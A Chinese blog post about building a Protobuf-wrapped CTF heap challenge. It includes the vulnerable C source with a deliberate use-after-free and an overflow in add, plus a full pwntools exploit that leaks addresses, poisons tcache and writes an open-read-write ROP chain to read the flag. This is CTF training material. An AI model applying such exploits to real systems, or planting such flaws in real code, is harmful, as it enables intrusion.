Protobuf

前言

有些pwn题会结合Protobuf来考查,不是很难,但是如果没了解过的话就没法正常做题。

简介

Protocol Buffers,是Google公司开发的一种数据描述语言,类似于XML能够将结构化数据序列化,可用于数据存储、通信协议等方面。拿pwn中add举例,将index,size,data等一个结构体数据进行序列化传输,为了能够和程序进行交互,我们需要先逆向分析得到Protobuf结构体,然后构造序列化后的Protobuf与程序进行交互。

安装

安装和分析流程参考大佬博客,这里不再赘述:

深入二进制安全:全面解析Protobuf_protoc buffer 安全性-CSDN博客

更新

之前对于protobuf-3.6.1的,protoc-1.5是可以的,但是现在不行了,可能是google更新了,会提示protoc版本过低。

解决办法:安装protoc-3.19.0

1
2
3
wget https://github.com/protocolbuffers/protobuf/releases/download/v3.19.0/protoc-3.19.0-linux-x86_64.zip
unzip protoc-3.19.0-linux-x86_64.zip
sudo mv protoc-3.19.0/bin/protoc /usr/local/bin/

实例

这里主要记录一次Protobuf出题过程。

出题思路是在堆题的基础上套一个Protobuf,使做题的时候需要先逆向还原出message结构体之后通过该结构体与程序进行交互。

首先放下源码 pwn.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
#include<stdlib.h>
#include<stdio.h>
#include<unistd.h>
#include<string.h>
#include<unistd.h>
#include <sys/prctl.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include "user.pb-c.h"


char buffer[1024];
char *chunk_list[5];
int add_count = 4;
int show_count = 2;
void *ptr;

void welcome()
{
puts("welcome to user management system");
puts("Here, you can manage some users");

}
void setbox()
{
struct sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
}

void menu() {
puts("1. add a user");
puts("2. edit a user");
puts("3. show a user");
puts("4. delete a user");
puts("your choice: ");
}

void add(const char *username,size_t username_len,const char *description,size_t description_len)
{
char name[0x40];
char desc[0x80];

if(add_count > 0)
{

int index;
for(index = 0;index < 5;index++)
{
if(!chunk_list[index]) break;
}
if(index < 5)
{
chunk_list[index] = malloc(0xc0);
if(username_len > 0x40 || description_len > 0x80)
puts("too long!");
else
{ memcpy(name, username,username_len);
memcpy(chunk_list[index], name, username_len + 8);
memcpy(desc, description,description_len);
memcpy(chunk_list[index] + 64, desc, description_len + 8);
}
}
else
{
puts("what?");
}

}
else
{
puts("you have no choice!");
}
add_count--;

}

void edit(uint64_t msg_id,const char *username,size_t username_len,const char *description,size_t description_len)
{

if(chunk_list[msg_id])
{
if(username_len > 0x40 || description_len > 0x80)
puts("too long!");
else
{
memcpy(chunk_list[msg_id], username, username_len);
memcpy(chunk_list[msg_id] + 64, description, description_len);
}
}
else
{
puts("what?");
}
}


void delete(uint64_t msg_id) {

ptr = chunk_list[msg_id];
if(ptr)
{
free(ptr);
ptr = 0LL;
puts("delete success!");
}
else
{
puts("what?");
}
}


void show(uint64_t msg_id) {

if(show_count > 0)
{
if(chunk_list[msg_id])
{
printf("the content: %s\n",chunk_list[msg_id]);
printf("the content: %s\n",chunk_list[msg_id] + 64);
}
else
{
puts("nothing happen");
}
}
else
{
puts("you have no choice!");
}
show_count--;
}

void real_main(uint64_t action_id, uint64_t msg_id, const char *username_bytes, size_t username_len, const char *description_bytes, size_t description_len)
{
if(action_id == 1)
add(username_bytes,username_len,description_bytes,description_len);
else if(action_id == 2)
edit(msg_id,username_bytes,username_len,description_bytes,description_len);
else if(action_id == 3)
show(msg_id);
else if(action_id == 4)
delete(msg_id);
else
puts("invalid choice.");

}


int main() {
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
setbox();
welcome();
User user_msg = USER__INIT;
while (1)
{
menu();

memset(buffer, 0, sizeof(buffer));
ssize_t len = read(0, buffer, sizeof(buffer));

void *msg = user__unpack(NULL, len, buffer);
if (!msg) {
break;
}

memcpy(&user_msg, msg, sizeof(User));
real_main(user_msg.action_id, user_msg.msg_id, user_msg.username.data, user_msg.username.len, user_msg.description.data, user_msg.description.len);

}

return 0;
}

其中user.proto如下:

1
2
3
4
5
6
7
8
syntax = "proto3";

message User {
uint64 action_id = 1;
uint64 msg_id = 2;
bytes username = 3;
bytes description = 4;
}

分析源码:

主要是在main函数中对数据进行序列化处理,通过如下几行代码可以实现序列化处理:

1
2
3
4
5
User user_msg = USER__INIT;
memset(buffer, 0, sizeof(buffer));
ssize_t len = read(0, buffer, sizeof(buffer));
void *msg = user__unpack(NULL, len, buffer);
memcpy(&user_msg, msg, sizeof(User));

处理后的ida 反编译内容如下:

pk59VNd.png

其中向real_main函数传的几个参数就是proto的message的成员变量(由于有两个bytes类型,所以会多出两个bytes_len参数),这里大佬博客里都有写。

总结一下出题过程:

  • 首先编写proto文件,通过protoc –c_out=. xxx.proto命令编译生成.h和.c文件,方便在pwn.c里引用。
  • 编写pwn.c文件,引用.h里的user__unpack函数进行序列化。
  • 编译pwn.c文件,需要链接lprotobuf-c,命令:gcc -o pwn pwn.c user.pb-c.c -lprotobuf-c

最后放一下该题的wp吧:

常规堆题套了个protobuf,首先进行分析还原出protobuf message如下:

1
2
3
4
5
6
7
8
syntax = "proto3";

message User {
uint64 action_id = 1;
uint64 msg_id = 2;
bytes username = 3;
bytes description = 4;
}

之后,编译生成python模块方便后续与程序交互。

分析题目,发现存在两个漏洞。

漏洞1:delete函数首先通过赋值指针后对指针置0的操作来free堆块,因此存在uaf漏洞。

漏洞2:add函数中首先向栈上数组memcpy,之后把数组memcpy给堆块,且可以多memecpy 8个字节,因此这里通过构造可以将栈上的内容复制到堆块,通过这个可以泄露libc_base和stack_addr。

漏洞利用:

1、由于题目没法申请 >0x400size的chunk且题目只能add四次,show一次,因此首先构造一次add,通过show泄露出libc_base和stack_addr。

2、add第二次,通过uaf调用show泄露出heap_base。

3、edit fd,修改fd为栈返回地址。

4、add两次,第二次申请到栈返回地址处,填入orw_rop。

注意:需要先通过protoc –python_out=. user.proto编译生成user_pb2.py后才可使用。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
import user_pb2

context(os='linux', arch='amd64', log_level='debug')

def s(a):
io.send(a)
def sa(a, b):
io.sendafter(a, b)
def sl(a):
io.sendline(a)
def sla(a, b):
io.sendlineafter(a, b)
def r(a):
return io.recv(a)
def ru(a):
return io.recvuntil(a)
def inter():
io.interactive()
def debug():
gdb.attach(io)
pause()

def get_addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

io = process('./pwn')
elf = ELF('./pwn')
libc = ELF("./libc.so.6")


def add(username = b'a',description = b'b'):
msg = user_pb2.User()
msg.action_id = 1
msg.username = username
msg.description = description
sa("choice: \n",msg.SerializeToString())

def edit(index,username = b'a',description = b'b'):
msg = user_pb2.User()
msg.action_id = 2
msg.msg_id = index
msg.username = username
msg.description = description
sa("choice: \n",msg.SerializeToString())

def show(index):
msg = user_pb2.User()
msg.action_id = 3
msg.msg_id = index
sa("choice: \n",msg.SerializeToString())

def free(index):
msg = user_pb2.User()
msg.action_id = 4
msg.msg_id = index
sa("choice: \n",msg.SerializeToString())



#leak stack_addr and libc_base
add(b'a' * 0x38,b'b' * 0x80) #0
add() #1

show(0)
io.recvuntil(b'a' * 0x38)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x8af6d
io.recvuntil(b'b' * 0x80)
stack_ret = u64(io.recv(6).ljust(8,b'\x00')) - 0x40
success("libc_base: " + hex(libc_base))
success("stack_ret: " + hex(stack_ret))

#leak heap_base
free(1)
free(0)

show(1)
ru("the content: ")
heap_base = u64(io.recv(5).ljust(8,b'\x00')) << 12
success("heap_base: " + hex(heap_base))

edit(0,p64((stack_ret) ^ (heap_base >> 12)))
add() #2

pop_rax = libc_base + 0x45eb0
pop_rdi = libc_base + 0x2a3e5
pop_rsi = libc_base + 0x2be51
pop_rdx_r12 = libc_base + 0x11f497
syscall = libc_base + next(libc.search(asm('syscall;ret')))
success("syscall: " + hex(syscall))
success("pop_rdx_r12: " + hex(pop_rdx_r12))
success("pop_rax: " + hex(pop_rax))
success("pop_rdi: " + hex(pop_rdi))
success("pop_rsi: " + hex(pop_rsi))


orw1 = b'./flag\x00\x00' + p64(pop_rax) + p64(2)
orw1 += p64(pop_rdi) + p64(stack_ret) + p64(pop_rsi) + p64(0) + p64(syscall)

orw2 = p64(pop_rax) + p64(0)
orw2 += p64(pop_rdi) + p64(3)
orw2 += p64(pop_rsi) + p64(stack_ret + 0x100)
orw2 += p64(pop_rdx_r12) + p64(0x50) * 2
orw2 += p64(syscall)
orw2 += p64(pop_rax) + p64(1)
orw2 += p64(pop_rdi) + p64(1)
orw2 += p64(syscall)

#debug()
add(orw1,orw2) #3 #stack_rbp
io.interactive()